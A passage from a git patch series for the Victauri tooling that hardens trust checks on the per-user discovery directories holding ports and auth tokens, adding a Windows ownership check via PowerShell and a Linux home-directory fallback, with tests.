Unix, plus the legacy `/victauri/`) — trusted entries owned by a live process of yours only — if the default port is taken. On Windows a discovery directory outside your user profile (a shared `TEMP`, e.g. MSYS2's `C:\msys64\tmp`) is used only if you own it, checked with PowerShell's `Get-Acl`; where PowerShell cannot run, set `victauri.port` and `victauri.authToken` instead ## Compatibility diff --git a/editors/vscode/src/discovery.ts b/editors/vscode/src/discovery.ts index d36b66e5..24713ab4 100644 --- a/editors/vscode/src/discovery.ts +++ b/editors/vscode/src/discovery.ts @@ -4,6 +4,7 @@ import * as os from "os"; import * as path from "path"; import * as fs from "fs/promises"; +import { execFile } from "child_process"; export interface DiscoveredServer { port: number; @@ -50,21 +51,140 @@ export async function discoveryRoots(): Promise { return roots; } -// Whether a discovery dir is safe to trust (audit #9): on Unix it must be a real directory -// (not a symlink), owned by the current user, and not group/other-writable. Windows temp is -// per-user and the writer restricts the directory's ACL, so no extra check is needed there. -export async function dirIsTrusted(dir: string): Promise { - if (process.platform === "win32") return true; - try { - const st = await fs.lstat(dir); - if (!st.isDirectory()) return false; - const euid = typeof process.geteuid === "function" ? process.geteuid() : -1; - if (euid >= 0 && st.uid !== euid) return false; - if ((st.mode & 0o022) !== 0) return false; - return true; - } catch { - return false; +// ── Windows: discovery-directory ownership (R5B-WINDISC1) ──────────────────────────────── +// +// `%TEMP%` is normally per-user, but it can be shared — an app launched from MSYS2 uses +// `C:\msys64\tmp` — and there another user can plant `victauri\\{port,token,…}` +// pointing at a port they control. The Rust readers compare the directory's owner SID with the +// process token via Win32; the extension cannot call Win32 directly, so: +// +// - a directory inside the user's profile (`os.homedir()`, which is where the default +// `%LOCALAPPDATA%\Temp` lives) is trusted without a check: Windows grants only SYSTEM, +// Administrators and the user access to a profile, so no other non-admin user can plant +// anything there — the check would cost a PowerShell start for nothing; +// - anywhere else, the owner is read with PowerShell's `Get-Acl` (one call for a batch of +// directories, 10 s timeout) and must be the current user, the token's default owner, or +// `BUILTIN\Administrators` when this token is a member — the plugin writer's own rule. The +// verdict is cached per directory identity (inode + birth time), so a recreated directory is +// checked again. It fails CLOSED: if PowerShell cannot run, such a directory is not trusted +// (set `victauri.port` + `victauri.authToken` explicitly in that environment). + +export interface OwnerCheckOptions { + /** The profile directory treated as private (default `os.homedir()`); tests override it. */ + profileDir?: string; +} + +const ownerVerdicts = new Map(); + +function isInside(child: string, parent: string): boolean { + const rel = path.relative(parent.toLowerCase(), child.toLowerCase()); + return rel === "" || (!!rel && !rel.startsWith("..") && !path.isAbsolute(rel)); +} + +const OWNER_SCRIPT = [ + "$ErrorActionPreference = 'Stop'", + "$id = [Security.Principal.WindowsIdentity]::GetCurrent()", + "$ok = @($id.User.Value, $id.Owner.Value)", + // Group SIDs and deny-only SIDs are both claims; an unelevated admin holds 544 deny-only. + "if ($id.Claims | Where-Object { $_.Value -eq 'S-1-5-32-544' }) { $ok += 'S-1-5-32-544' }", + // No @(...) here: Windows PowerShell 5.1 emits a JSON array as ONE object, which @() would + // wrap instead of enumerate. + "$paths = ConvertFrom-Json $env:VICTAURI_OWNER_PATHS", + "$out = @(foreach ($p in $paths) { try { $ok -contains (Get-Acl -LiteralPath $p).GetOwner([Security.Principal.SecurityIdentifier]).Value } catch { $false } })", + "ConvertTo-Json -Compress -InputObject $out", +].join("; "); + +/** Ask PowerShell whether each of `dirs` is owned by the current user; all-false on failure. */ +function queryOwners(dirs: string[]): Promise { + const systemRoot = process.env.SystemRoot || "C:\\Windows"; + const ps = path.join(systemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe"); + return new Promise((resolve) => { + execFile( + ps, + ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", OWNER_SCRIPT], + { + env: { ...process.env, VICTAURI_OWNER_PATHS: JSON.stringify(dirs) }, + timeout: 10_000, + windowsHide: true, + }, + (err, stdout) => { + if (err) return resolve(dirs.map(() => false)); + try { + const parsed: unknown = JSON.parse(String(stdout).trim()); + const arr = Array.isArray(parsed) ? parsed : [parsed]; + resolve(dirs.map((_, i) => arr[i] === true)); + } catch { + resolve(dirs.map(() => false)); + } + } + ); + }); +} + +/** Windows: which of `dirs` (already known to be real directories) are owned by us. */ +async function windowsOwnedDirs( + dirs: string[], + opts: OwnerCheckOptions = {} +): Promise> { + const profile = opts.profileDir ?? os.homedir(); + const trusted = new Set(); + const pending: { dir: string; id: string }[] = []; + for (const dir of dirs) { + if (isInside(path.resolve(dir), profile)) { + trusted.add(dir); + continue; + } + let id: string; + try { + const st = await fs.lstat(dir, { bigint: true }); + id = `${st.ino}:${st.birthtimeNs}`; + } catch { + continue; + } + const cached = ownerVerdicts.get(dir); + if (cached && cached.id === id) { + if (cached.trusted) trusted.add(dir); + continue; + } + pending.push({ dir, id }); + } + if (pending.length > 0) { + const verdicts = await queryOwners(pending.map((p) => p.dir)); + pending.forEach(({ dir, id }, i) => { + ownerVerdicts.set(dir, { id, trusted: verdicts[i] }); + if (verdicts[i]) trusted.add(dir); + }); + } + return trusted; +} + +// Whether a discovery dir is safe to trust (audit #9): it must be a real directory (not a +// symlink or junction) owned by the current user. On Unix: owned by our euid and not +// group/other-writable. On Windows: owned by us (see the ownership section above; R5B-WINDISC1). +export async function dirIsTrusted(dir: string, opts: OwnerCheckOptions = {}): Promise { + return (await trustedDirs([dir], opts)).has(dir); +} + +// The subset of `dirs` that are trusted discovery directories — batched, so on Windows one +// PowerShell call (at most) checks the owners of every uncached directory at once. +async function trustedDirs(dirs: string[], opts: OwnerCheckOptions = {}): Promise> { + const real: string[] = []; + for (const dir of dirs) { + try { + const st = await fs.lstat(dir); + if (!st.isDirectory()) continue; + if (process.platform !== "win32") { + const euid = typeof process.geteuid === "function" ? process.geteuid() : -1; + if (euid >= 0 && st.uid !== euid) continue; + if ((st.mode & 0o022) !== 0) continue; + } + real.push(dir); + } catch { + // missing / unreadable + } } + if (process.platform !== "win32") return new Set(real); + return windowsOwnedDirs(real, opts); } /** @@ -134,27 +254,31 @@ export interface DiscoveryScan { // nothing is ever deleted. export async function scanServers( liveness: (pid: number) => Liveness = pidLiveness, - roots?: string[] + roots?: string[], + opts: OwnerCheckOptions = {} ): Promise { const byPid = new Map(); const unverified: number[] = []; for (const root of roots ?? (await discoveryRoots())) { // The root owner can swap a previously checked child directory. Refuse a root's // whole tree unless the root itself is trusted. - if (!(await dirIsTrusted(root))) continue; + if (!(await dirIsTrusted(root, opts))) continue; let entries; try { entries = await fs.readdir(root, { withFileTypes: true }); } catch { continue; } - for (const entry of entries) { - if (!entry.isDirectory() || !/^\d+$/.test(entry.name) || byPid.has(entry.name)) continue; - const dir = path.join(root, entry.name); - // Only trust a discovery dir we own — never read a token from a dir a local - // attacker could have planted (audit #9). - if (!(await dirIsTrusted(dir))) continue; - const pid = parseInt(entry.name, 10); + const candidates = entries + .filter((e) => e.isDirectory() && /^\d+$/.test(e.name) && !byPid.has(e.name)) + .map((e) => path.join(root, e.name)); + // Only trust a discovery dir we own — never read a token from a dir a local + // attacker could have planted (audit #9, R5B-WINDISC1). One batched check per root. + const trusted = await trustedDirs(candidates, opts); + for (const dir of candidates) { + const name = path.basename(dir); + if (!trusted.has(dir) || byPid.has(name)) continue; + const pid = parseInt(name, 10); const state = liveness(pid); if (state === "unverified") { if (!unverified.includes(pid)) unverified.push(pid); @@ -165,7 +289,7 @@ export async function scanServers( // discovery ambiguous. if (state !== "own") continue; const server = await readServer(dir, pid); - if (server) byPid.set(entry.name, server); + if (server) byPid.set(name, server); } } return { live: [...byPid.values()], unverified }; diff --git a/editors/vscode/test/discovery.test.ts b/editors/vscode/test/discovery.test.ts index 9568744c..9c9d56b3 100644 --- a/editors/vscode/test/discovery.test.ts +++ b/editors/vscode/test/discovery.test.ts @@ -121,3 +121,44 @@ test("an authenticated /info 429 is not a successful auth probe", () => { assert.equal(authProbeVerdict(429), "rate-limited"); assert.equal(authProbeVerdict(500), "error"); }); + +// R5B-WINDISC1: on a shared TEMP (e.g. C:\msys64\tmp) another user can plant +// `victauri\\{port,token,…}` pointing at a port they control. On Windows a discovery +// directory is trusted only when the current user (or BUILTIN\Administrators, when this +// token is a member) owns it. SYSTEM stands in for "another user" — setting that up needs an +// elevated run; the test skips otherwise. +test("windows: a discovery directory owned by another account is not trusted", async (t) => { + if (process.platform !== "win32") { + t.skip("windows only"); + return; + } + const root = fs.mkdtempSync(path.join(os.tmpdir(), "victauri-vsc-owner-")); + try { + const mine = path.join(root, "201"); + const planted = path.join(root, "202"); + for (const [dir, port] of [ + [mine, 7501], + [planted, 7502], + ] as const) { + fs.mkdirSync(dir); + fs.writeFileSync(path.join(dir, "port"), String(port)); + fs.writeFileSync(path.join(dir, "token"), `tok-${port}`); + } + const setOwner = spawnSync("icacls", [planted, "/setowner", "*S-1-5-18", "/q"]); + if (setOwner.status !== 0) { + t.skip("cannot change a directory's owner (not elevated)"); + return; + } + // Force the real owner check even though the test root sits inside the user profile. + const result = await scanServers((pid) => (pid >= 201 ? "own" : "dead"), [root], { + profileDir: "Z:\victauri-no-such-profile", + }); + assert.deepEqual( + result.live.map((s) => s.pid), + [201], + "a planted entry's token must never be read" + ); + } finally { + fs.rmSync(root, { recursive: true, force: true }); + } +}); From 507af94d3366160efdd777b8b456a76b1cd80d3e Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 11:45:43 +1000 Subject: [PATCH 162/167] fix(discovery): per-user home fallback when /tmp/victauri- is taken over (R5B-LINDISC1) On Linux without a private XDG_RUNTIME_DIR the discovery root is the predictable /tmp/victauri-. Another local user can pre-create it; the app refuses it (not owned) and never registers, and sticky /tmp stops the victim deleting it -- a persistent discovery DoS. Writer (plugin mcp/server.rs, discovery_root only): the root is now decided once per process (OnceLock, so write and cleanup agree). When the primary root is untrusted or cannot be created, the entry goes to the per-user home state root -- $XDG_STATE_HOME/victauri, else $HOME/.local/state/victauri (absolute only) -- created 0700, verified with the same private-dir check, its parent created 0700 when missing and required to be ours and not other-writable. No usable fallback -> the primary is kept and fails closed as before. Readers (victauri-test discovery, CLI bridge, watchdog, VS Code) scan, in order: $XDG_RUNTIME_DIR/victauri, /victauri-, the home state root, then the legacy /victauri -- all with the existing ownership/permission checks. Doc comments, the token-location hint, the watchdog --help text and docs/src (security, getting-started, faq, configuration, architecture) describe the roots. Verified on WSL with a GENUINELY foreign-owned /tmp/.../victauri-1000 (chowned to nobody): before, the plugin's port_file_roundtrip failed with EACCES; after, the entry lands in $HOME/.local/state/victauri (0700) and the real `victauri invoke` and `victauri bridge --app` binaries find the app there. Unit tests cover the selection (symlinked / blocked primary), the XDG_STATE_HOME rule and the parent guard, and each reader's root order; a Unix CLI e2e finds an app registered only under the home root. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 61 ++++++++- crates/victauri-cli/tests/cli_e2e.rs | 44 +++++++ crates/victauri-plugin/src/mcp/server.rs | 161 ++++++++++++++++++++++- crates/victauri-test/src/discovery.rs | 66 +++++++++- crates/victauri-test/src/process.rs | 2 +- crates/victauri-watchdog/README.md | 3 +- crates/victauri-watchdog/src/main.rs | 66 ++++++++-- crates/victauri-watchdog/src/process.rs | 2 +- docs/src/architecture.md | 2 +- docs/src/configuration.md | 2 +- docs/src/faq.md | 2 +- docs/src/getting-started.md | 8 +- docs/src/security.md | 22 +++- editors/vscode/CHANGELOG.md | 4 + editors/vscode/README.md | 2 +- editors/vscode/src/discovery.ts | 27 +++- editors/vscode/test/discovery.test.ts | 28 ++++ 17 files changed, 454 insertions(+), 48 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index b158f07d..6483c049 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -1288,7 +1288,7 @@ fn select(live: &[ServerInfo], app: Option<&str>) -> Selection { } } -/// Read `/victauri//` discovery entries (port + token + identity) as +/// Read `//` discovery entries (port + token + identity) as /// `(pid, ServerInfo)`. Pure filesystem work — NO process-liveness or HTTP health check here, /// so it stays cheap even with many stale directories. Callers apply the health-then-liveness /// filter in [`scan_once`], which is what keeps a down-state scan fast: a dead/stale port @@ -1302,10 +1302,13 @@ fn discover_entries() -> Vec<(u32, ServerInfo)> { } /// The discovery roots the plugin may have written to, most specific first (mirrors the -/// plugin's `discovery_root`). On Unix the root is per-user — `$XDG_RUNTIME_DIR/victauri` when -/// that directory is private to us, else `/victauri-` — and the legacy shared -/// `/victauri` is still read (a pre-0.9 plugin writes there) when it passes the same -/// ownership check. Other platforms use `/victauri` (a per-user temp dir). +/// plugin's `discovery_root`). On Unix the roots are per-user — `$XDG_RUNTIME_DIR/victauri` +/// when that directory is private to us, then `/victauri-` (a shared +/// `/tmp/victauri` could be pre-created by another user, blocking discovery), then the home +/// fallback `$XDG_STATE_HOME/victauri` / `$HOME/.local/state/victauri` (where the plugin +/// registers when `/victauri-` was taken over) — and the legacy `/victauri` +/// is still read, subject to the same ownership check, for pre-0.9 plugins. Other platforms +/// use `/victauri` (a per-user temp dir; Windows readers verify its ownership). #[cfg(not(test))] fn discovery_roots() -> Vec { real_discovery_roots() @@ -1346,6 +1349,12 @@ fn real_discovery_roots() -> Vec { roots.push(runtime.join("victauri")); } roots.push(std::env::temp_dir().join(format!("victauri-{euid}"))); + // The plugin's fallback when `/victauri-` was taken over by another + // user (R5B-LINDISC1) — scanned after it, before the legacy root. + roots.extend(home_state_root( + std::env::var_os("XDG_STATE_HOME"), + std::env::var_os("HOME"), + )); } roots.push(legacy); roots @@ -1356,6 +1365,26 @@ fn real_discovery_roots() -> Vec { } } +/// The plugin's per-user fallback discovery root under the home directory: +/// `$XDG_STATE_HOME/victauri`, else `$HOME/.local/state/victauri` (each only when absolute). +/// The plugin registers there when `/victauri-` is untrusted — e.g. another local +/// user pre-created it, and sticky `/tmp` stops us deleting it (R5B-LINDISC1). +#[cfg(unix)] +fn home_state_root( + xdg_state_home: Option, + home: Option, +) -> Option { + let absolute = + |p: std::ffi::OsString| Some(std::path::PathBuf::from(p)).filter(|p| p.is_absolute()); + xdg_state_home + .and_then(absolute) + .or_else(|| { + home.and_then(absolute) + .map(|h| h.join(".local").join("state")) + }) + .map(|state| state.join("victauri")) +} + fn discover_entries_in(root: &std::path::Path, out: &mut Vec<(u32, ServerInfo)>) { // The root itself is security-sensitive: its owner can rename a trusted PID // directory after our child check and swap in attacker-controlled files. @@ -1664,6 +1693,28 @@ mod tests { assert!(roots.contains(&std::env::temp_dir().join(format!("victauri-{euid}")))); assert_eq!(roots.last(), Some(&std::env::temp_dir().join("victauri"))); assert_ne!(roots[0], std::env::temp_dir().join("victauri")); + // R5B-LINDISC1: the home fallback is scanned after the per-user temp root, before + // the legacy one. + let home = home_state_root(std::env::var_os("XDG_STATE_HOME"), std::env::var_os("HOME")) + .expect("HOME is set in the test environment"); + let at = |p: &std::path::Path| roots.iter().position(|r| r == p); + let tmp_root = std::env::temp_dir().join(format!("victauri-{euid}")); + assert!(at(&home) > at(&tmp_root), "{roots:?}"); + assert!(at(&home) < Some(roots.len() - 1), "{roots:?}"); + } + + #[cfg(unix)] + #[test] + fn home_state_root_prefers_an_absolute_xdg_state_home() { + assert_eq!( + home_state_root(Some("/x/state".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/x/state/victauri")) + ); + assert_eq!( + home_state_root(Some("rel".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/home/u/.local/state/victauri")) + ); + assert_eq!(home_state_root(None, Some("rel".into())), None); } // ── Cold-start handshake: the bridge must answer `initialize` itself so the MCP server diff --git a/crates/victauri-cli/tests/cli_e2e.rs b/crates/victauri-cli/tests/cli_e2e.rs index d346bfa5..806b0687 100644 --- a/crates/victauri-cli/tests/cli_e2e.rs +++ b/crates/victauri-cli/tests/cli_e2e.rs @@ -422,3 +422,47 @@ async fn victauri_port_with_a_different_app_selector_is_refused() { assert!(out.status.success(), "{}", stderr(&out)); assert!(stdout(&out).contains("com.test.portapp")); } + +/// R5B-LINDISC1: when another user has pre-created `/victauri-` (sticky /tmp stops +/// us removing it) the app registers under `$HOME/.local/state/victauri` instead — and every +/// reader must look there. (0777 stands in for "another user's"; the WSL run used a real +/// foreign-owned directory.) +#[cfg(unix)] +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn readers_find_an_app_registered_under_the_home_state_root() { + use std::os::unix::fs::PermissionsExt; + let iso = IsolatedTemp::new(); + let port = start_mock("com.test.homeroot").await; + // The predictable per-user temp root exists but is untrusted. + let uid = std::os::unix::fs::MetadataExt::uid(&std::fs::metadata(iso.0.path()).unwrap()); + let squatted = iso.0.path().join(format!("victauri-{uid}")); + std::fs::create_dir(&squatted).unwrap(); + std::fs::set_permissions(&squatted, std::fs::Permissions::from_mode(0o777)).unwrap(); + // The app's entry, where the plugin falls back to. + let home = iso.0.path().join("home"); + let root = home.join(".local").join("state").join("victauri"); + let dir = root.join(std::process::id().to_string()); + std::fs::create_dir_all(&dir).unwrap(); + for d in [&home, &root, &dir] { + std::fs::set_permissions(d, std::fs::Permissions::from_mode(0o700)).unwrap(); + } + std::fs::write(dir.join("port"), port.to_string()).unwrap(); + std::fs::write(dir.join("token"), "tok").unwrap(); + std::fs::write( + dir.join("metadata.json"), + json!({"identifier": "com.test.homeroot"}).to_string(), + ) + .unwrap(); + + let mut cmd = iso.victauri(&["invoke", "whoami", "--raw"]); + cmd.env("HOME", &home) + .env_remove("XDG_RUNTIME_DIR") + .env_remove("XDG_STATE_HOME"); + let out = run(cmd).await; + assert!(out.status.success(), "{}", stderr(&out)); + assert!( + stdout(&out).contains("com.test.homeroot"), + "{}", + stdout(&out) + ); +} diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 7de216c8..a79dc194 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -478,22 +478,107 @@ fn discovery_dir() -> std::path::PathBuf { discovery_root().join(std::process::id().to_string()) } -/// The directory holding every `/` discovery entry of this user. +/// The directory holding every `/` discovery entry of this user — decided ONCE per +/// process, so the entry is written and later removed in the same place. /// /// On Unix it is per-user: `$XDG_RUNTIME_DIR/victauri` when that directory is private to us, /// else `/victauri-`. The old shared `/tmp/victauri` let any other local user /// pre-create it, after which the ownership check refused it and discovery was blocked for -/// good. Windows and other platforms keep `/victauri` (their temp dir is per-user). -/// Every reader (`victauri` CLI, `victauri-test`, `victauri-watchdog`) scans the same roots. +/// good. `/victauri-` is predictable too, and sticky `/tmp` stops us deleting +/// another user's pre-created copy, so when that root is untrusted (or cannot be created) the +/// entry goes to a per-user root under the home directory instead — +/// `$XDG_STATE_HOME/victauri`, else `$HOME/.local/state/victauri` — owner-only (0700) and +/// verified like the others (R5B-LINDISC1). Windows and other platforms keep `/victauri` +/// (their temp dir is per-user; Windows readers verify ownership). Every reader (`victauri` +/// CLI, `victauri-test`, `victauri-watchdog`, the VS Code extension) scans the same roots, in +/// order: runtime dir, `/victauri-`, the home state root, then the legacy +/// `/victauri`. fn discovery_root() -> std::path::PathBuf { - #[cfg(unix)] + static ROOT: std::sync::OnceLock = std::sync::OnceLock::new(); + ROOT.get_or_init(|| { + #[cfg(unix)] + { + let euid = current_euid(); + select_discovery_root( + &discovery_root_from(std::env::var_os("XDG_RUNTIME_DIR"), euid), + euid.and_then(|_| { + home_state_root(std::env::var_os("XDG_STATE_HOME"), std::env::var_os("HOME")) + }), + ) + } + #[cfg(not(unix))] + { + std::env::temp_dir().join("victauri") + } + }) + .clone() +} + +/// `primary` when it is (or can be made) a private directory of ours; else the home state +/// `fallback` when THAT can be; else `primary` anyway — whose ownership check then refuses it, +/// so discovery fails closed exactly as before. +#[cfg(unix)] +fn select_discovery_root( + primary: &std::path::Path, + fallback: Option, +) -> std::path::PathBuf { + if ensure_unix_private_dir(primary) { + return primary.to_path_buf(); + } + if let Some(fallback) = fallback + && ensure_home_state_root(&fallback) { - discovery_root_from(std::env::var_os("XDG_RUNTIME_DIR"), current_euid()) + tracing::warn!( + "discovery root {} is not usable (another user may have created it); \ + registering under {} instead", + primary.display(), + fallback.display() + ); + return fallback; } - #[cfg(not(unix))] + primary.to_path_buf() +} + +/// The per-user discovery root under the home directory: `$XDG_STATE_HOME/victauri`, else +/// `$HOME/.local/state/victauri` (each only when absolute). +#[cfg(unix)] +fn home_state_root( + xdg_state_home: Option, + home: Option, +) -> Option { + let absolute = + |p: std::ffi::OsString| Some(std::path::PathBuf::from(p)).filter(|p| p.is_absolute()); + xdg_state_home + .and_then(absolute) + .or_else(|| { + home.and_then(absolute) + .map(|h| h.join(".local").join("state")) + }) + .map(|state| state.join("victauri")) +} + +/// Create (0700) or accept the home state `root`: its parent must be a directory owned by us +/// that no OTHER user can write (so nobody else can swap `victauri` out from under us), and +/// `root` itself a private directory of ours — the same check every other root gets. +#[cfg(unix)] +fn ensure_home_state_root(root: &std::path::Path) -> bool { + use std::os::unix::fs::{DirBuilderExt, MetadataExt}; + + let (Some(parent), Some(euid)) = (root.parent(), current_euid()) else { + return false; + }; + // Missing `~/.local/state` components are created owner-only. + if std::fs::DirBuilder::new() + .recursive(true) + .mode(0o700) + .create(parent) + .is_err() { - std::env::temp_dir().join("victauri") + return false; } + let parent_ok = std::fs::metadata(parent) + .is_ok_and(|m| m.is_dir() && m.uid() == euid && m.mode() & 0o002 == 0); + parent_ok && ensure_unix_private_dir(root) } #[cfg(unix)] @@ -1634,6 +1719,68 @@ mod tests { ); } + /// R5B-LINDISC1: another local user can pre-create the predictable `/tmp/victauri-` + /// (and sticky `/tmp` stops us deleting it); the app then never registered. An untrusted + /// primary root now falls back to the per-user home state root. (A root owned by another + /// account needs a second account to set up — see the WSL run; a symlink or a non-directory + /// at the primary path is refused by the same check.) + #[cfg(unix)] + #[test] + fn an_untrusted_primary_root_falls_back_to_the_home_state_root() { + use std::os::unix::fs::PermissionsExt; + let base = tempfile::tempdir().unwrap(); + let home = base.path().join("home"); + std::fs::create_dir(&home).unwrap(); + std::fs::set_permissions(&home, std::fs::Permissions::from_mode(0o700)).unwrap(); + let fallback = home_state_root(None, Some(home.clone().into())); + let expected = home.join(".local").join("state").join("victauri"); + assert_eq!(fallback.as_deref(), Some(expected.as_path())); + + // Taken over: a symlink planted at the primary path. + let elsewhere = base.path().join("elsewhere"); + std::fs::create_dir(&elsewhere).unwrap(); + let hijacked = base.path().join("victauri-hijacked"); + std::os::unix::fs::symlink(&elsewhere, &hijacked).unwrap(); + assert_eq!(select_discovery_root(&hijacked, fallback.clone()), expected); + assert!(unix_private_dir_is_trusted(&expected)); + let mode = std::fs::metadata(&expected).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o700); + // Blocked by a plain file. + let blocked = base.path().join("victauri-blocked"); + std::fs::write(&blocked, "x").unwrap(); + assert_eq!(select_discovery_root(&blocked, fallback.clone()), expected); + + // A usable primary is kept. + let fine = base.path().join("victauri-fine"); + assert_eq!(select_discovery_root(&fine, fallback), fine); + + // No usable fallback: the primary is returned and its check then refuses it. + assert_eq!(select_discovery_root(&hijacked, None), hijacked); + } + + #[cfg(unix)] + #[test] + fn home_state_root_prefers_an_absolute_xdg_state_home_and_guards_its_parent() { + use std::os::unix::fs::PermissionsExt; + assert_eq!( + home_state_root(Some("/x/state".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/x/state/victauri")) + ); + assert_eq!( + home_state_root(Some("rel/state".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/home/u/.local/state/victauri")) + ); + assert_eq!(home_state_root(None, Some("rel".into())), None); + assert_eq!(home_state_root(None, None), None); + + // A parent other users can write is refused (they could swap the root out). + let base = tempfile::tempdir().unwrap(); + let open = base.path().join("open"); + std::fs::create_dir(&open).unwrap(); + std::fs::set_permissions(&open, std::fs::Permissions::from_mode(0o777)).unwrap(); + assert!(!ensure_home_state_root(&open.join("victauri"))); + } + #[cfg(unix)] #[test] fn private_dir_refuses_symlink_without_chmodding_target() { diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 9b7fdc45..852be8df 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -1,6 +1,7 @@ //! Per-process server discovery for CI parallelism. //! -//! Victauri servers write discovery files to `/victauri//` with +//! Victauri servers write discovery files to a per-user `//` (see +//! `discovery_roots`) with //! port, token, and metadata. This module scans those directories and returns //! the live server(s). A directory is deleted only when its owning process is //! definitely dead — never merely because its port did not answer a probe (a @@ -10,11 +11,13 @@ use std::path::PathBuf; /// The discovery roots the plugin may have written to, most specific first (mirrors the -/// plugin's `discovery_root`). On Unix the root is per-user — `$XDG_RUNTIME_DIR/victauri` when -/// that directory is private to us, else `/victauri-` (a shared `/tmp/victauri` -/// could be pre-created by another user, blocking discovery) — and the legacy -/// `/victauri` is still read, subject to the same ownership check, for pre-0.9 plugins. -/// Other platforms use `/victauri` (a per-user temp dir). +/// plugin's `discovery_root`). On Unix the roots are per-user — `$XDG_RUNTIME_DIR/victauri` +/// when that directory is private to us, then `/victauri-` (a shared +/// `/tmp/victauri` could be pre-created by another user, blocking discovery), then the home +/// fallback `$XDG_STATE_HOME/victauri` / `$HOME/.local/state/victauri` (where the plugin +/// registers when `/victauri-` was taken over) — and the legacy `/victauri` +/// is still read, subject to the same ownership check, for pre-0.9 plugins. Other platforms +/// use `/victauri` (a per-user temp dir; Windows readers verify its ownership). #[cfg(not(test))] fn discovery_roots() -> Vec { real_discovery_roots() @@ -37,7 +40,8 @@ fn discovery_roots() -> Vec { /// [`discovery_roots`] scans, in the same order. #[cfg(unix)] pub const TOKEN_LOCATIONS: &str = "$XDG_RUNTIME_DIR/victauri//token (when that \ - directory is private to you), else /victauri-//token"; + directory is private to you), else /victauri-//token, or \ + ~/.local/state/victauri//token when that one was not usable"; /// Where a running app's auth token lives, for error messages. #[cfg(not(unix))] pub const TOKEN_LOCATIONS: &str = r"%TEMP%\victauri\\token"; @@ -64,6 +68,12 @@ fn real_discovery_roots() -> Vec { roots.push(runtime.join("victauri")); } roots.push(std::env::temp_dir().join(format!("victauri-{euid}"))); + // The plugin's fallback when `/victauri-` was taken over by another + // user (R5B-LINDISC1) — scanned after it, before the legacy root. + roots.extend(home_state_root( + std::env::var_os("XDG_STATE_HOME"), + std::env::var_os("HOME"), + )); } roots.push(legacy); roots @@ -74,6 +84,26 @@ fn real_discovery_roots() -> Vec { } } +/// The plugin's per-user fallback discovery root under the home directory: +/// `$XDG_STATE_HOME/victauri`, else `$HOME/.local/state/victauri` (each only when absolute). +/// The plugin registers there when `/victauri-` is untrusted — e.g. another local +/// user pre-created it, and sticky `/tmp` stops us deleting it (R5B-LINDISC1). +#[cfg(unix)] +fn home_state_root( + xdg_state_home: Option, + home: Option, +) -> Option { + let absolute = + |p: std::ffi::OsString| Some(std::path::PathBuf::from(p)).filter(|p| p.is_absolute()); + xdg_state_home + .and_then(absolute) + .or_else(|| { + home.and_then(absolute) + .map(|h| h.join(".local").join("state")) + }) + .map(|state| state.join("victauri")) +} + /// Whether a discovery directory is safe to trust (audit #15). On Unix the temp /// root (e.g. `/tmp`) is world-writable, so an attacker can plant a fake `` /// dir pointing at a server they control to steal the token / forge results. We @@ -650,6 +680,28 @@ mod tests { assert!(roots.contains(&std::env::temp_dir().join(format!("victauri-{euid}")))); assert_eq!(roots.last(), Some(&std::env::temp_dir().join("victauri"))); assert_ne!(roots[0], std::env::temp_dir().join("victauri")); + // R5B-LINDISC1: the home fallback is scanned after the per-user temp root, before + // the legacy one. + let home = home_state_root(std::env::var_os("XDG_STATE_HOME"), std::env::var_os("HOME")) + .expect("HOME is set in the test environment"); + let at = |p: &std::path::Path| roots.iter().position(|r| r == p); + let tmp_root = std::env::temp_dir().join(format!("victauri-{euid}")); + assert!(at(&home) > at(&tmp_root), "{roots:?}"); + assert!(at(&home) < Some(roots.len() - 1), "{roots:?}"); + } + + #[cfg(unix)] + #[test] + fn home_state_root_prefers_an_absolute_xdg_state_home() { + assert_eq!( + home_state_root(Some("/x/state".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/x/state/victauri")) + ); + assert_eq!( + home_state_root(Some("rel".into()), Some("/home/u".into())), + Some(std::path::PathBuf::from("/home/u/.local/state/victauri")) + ); + assert_eq!(home_state_root(None, Some("rel".into())), None); } #[cfg(unix)] diff --git a/crates/victauri-test/src/process.rs b/crates/victauri-test/src/process.rs index b58ccd29..d90230d5 100644 --- a/crates/victauri-test/src/process.rs +++ b/crates/victauri-test/src/process.rs @@ -1,6 +1,6 @@ //! Process liveness for discovery: is `pid` a live process owned by the current user? //! -//! Discovery trusts a `/victauri//` entry only while its PID is alive, so this +//! Discovery trusts a `//` entry only while its PID is alive, so this //! check decides where a Bearer token is sent. It must be exact (PID 12 is not PID 123), //! scoped to our own user (another user's process that inherited a stale PID must not make //! an entry look live), and cheap — the CLI bridge polls it every 1.5 s. The previous diff --git a/crates/victauri-watchdog/README.md b/crates/victauri-watchdog/README.md index 6f8d09a1..7b4c9c23 100644 --- a/crates/victauri-watchdog/README.md +++ b/crates/victauri-watchdog/README.md @@ -6,7 +6,8 @@ Since Victauri's MCP server runs inside the Tauri app process, a crash kills the ## What It Does -- Discovers the app's port from `/victauri//port` (live processes only; the plugin +- Discovers the app's port from the per-user discovery directory `//port` (the + roots every Victauri client scans; live processes of yours only; the plugin may bind 7374+ when 7373 is taken), optionally selecting an app by identity with `--app ` / `VICTAURI_APP`, and follows the app if it restarts on a new port. An explicit `VICTAURI_PORT` (or positional `PORT`) skips discovery entirely. diff --git 